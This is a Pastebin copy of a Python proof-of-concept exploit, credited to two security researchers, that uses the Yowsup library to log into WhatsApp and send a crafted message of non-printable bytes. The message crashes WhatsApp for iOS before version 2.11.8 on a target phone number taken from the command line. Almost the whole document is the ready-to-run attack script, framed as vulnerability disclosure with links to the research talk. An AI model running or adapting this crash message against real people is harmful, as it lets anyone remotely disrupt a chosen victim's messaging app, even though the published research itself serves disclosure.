Advertisement
FeRR4L

WhatsApp < v2.11.7 - Remote Crash

Apr 16th, 2014
453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.79 KB | None | 0 0
  1. #!/usr/bin/python
  2. #-*- coding: utf-8 -*
  3.  
  4. # Title: WhatsApp Remote Crash on non-printable characters
  5. # Product: WhatsApp
  6. # Vendor Homepage: http://www.whatsapp.com
  7. # Vulnerable Version(s): 2.11.7 and prior on iOS
  8. # Tested on: WhatsApp v2.11.7 on iPhone 5 running iOS 7.0.4
  9. # Solution Status: Fixed by Vendor on v2.11.8
  10. # Date: 8/04/2014
  11. #
  12. # Authors:
  13. #    Jaime Sánchez      @segofensiva    <jsanchez (at) seguridadofensiva.com>
  14. #    Pablo San Emeterio   @psaneme      <psaneme (at) gmail.com>
  15. #
  16. # Custom message with non-printable characters will crash any WhatsApp client < v2.11.7 for iOS.
  17. # It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
  18. # engaging in an interactive conversation over WhatsApp protocol
  19. #
  20. # More info at:
  21. #    http://www.seguridadofensiva.com/2014/04/crash-en-whatsapp-para-iphone-en-versiones-inferiores-a-2.11.7.html
  22. # See the slides of the research/talk at RootedCON 2014 at:
  23. #   http://www.slideshare.net/segofensiva/whatsapp-mentiras-y-cintas-de-video-rootedcon-2014
  24.  
  25. import argparse, sys, os, csv
  26. from Yowsup.Common.utilities import Utilities
  27. from Yowsup.Common.debugger import Debugger
  28. from Yowsup.Common.constants import Constants
  29. from Examples.CmdClient import WhatsappCmdClient
  30. from Examples.EchoClient import WhatsappEchoClient
  31. from Examples.ListenerClient import WhatsappListenerClient
  32. from Yowsup.Registration.v1.coderequest import WACodeRequest
  33. from Yowsup.Registration.v1.regrequest import WARegRequest
  34. from Yowsup.Registration.v1.existsrequest import WAExistsRequest
  35. from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
  36. from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
  37. from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
  38. from Yowsup.Contacts.contacts import WAContactsSyncRequest
  39.  
  40. import threading,time, base64
  41.  
  42. DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
  43. COUNTRIES_CSV = "countries.csv"
  44.  
  45. DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
  46.  
  47.  
  48. ######## Yowsup Configuration file #####################
  49. # Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
  50. # phone:   Your full phone number including country code, without '+' or '00'
  51. # id:      This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
  52. #      on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
  53. #      of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
  54. #      a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
  55. #      or want to register, you can leave this field blank or set it to some random text.
  56. # password:   Password to use for login. You obtain this password when you register using Yowsup.
  57. ######################################################
  58. MINE_CONFIG ="config.cfg"
  59.  
  60. def getCredentials(config = DEFAULT_CONFIG):
  61.    if os.path.isfile(config):
  62.       f = open(config)
  63.      
  64.       phone = ""
  65.       idx = ""
  66.       pw = ""
  67.       cc = ""
  68.      
  69.       try:
  70.          for l in f:
  71.             line = l.strip()
  72.             if len(line) and line[0] not in ('#',';'):
  73.                
  74.                prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
  75.                
  76.                varname = prep[0].strip()
  77.                val = prep[1].strip()
  78.                
  79.                if varname == "phone":
  80.                   phone = val
  81.                elif varname == "id":
  82.                   idx = val
  83.                elif varname =="password":
  84.                   pw =val
  85.                elif varname == "cc":
  86.                   cc = val
  87.  
  88.          return (cc, phone, idx, pw);
  89.       except:
  90.          pass
  91.  
  92.    return 0
  93.  
  94. def main(phone):
  95.    credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )
  96.  
  97.    if credentials:
  98.      
  99.       countryCode, login, identity, password = credentials
  100.       identity = Utilities.processIdentity(identity)
  101.  
  102.       password = base64.b64decode(password)
  103.  
  104.       # Custom message that will crash WhatsApp
  105.       message = message = "\xf4\xaa\xde\x04\xbf"
  106.  
  107.       #print countryCode, login, identity, password
  108.       wa = WhatsappEchoClient(phone, message)
  109.       wa.login(login, password)
  110.    
  111. if __name__ == "__main__":
  112.     parser = argparse.ArgumentParser()
  113.     parser.add_argument("number", help="Phone number to send the crash message")
  114.     parser.add_argument("-v", "--verbose", help="increase output verbosity", action="store_true")
  115.     args = parser.parse_args()
  116.  
  117.     Debugger.enabled = args.verbose
  118.     main(args.number)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement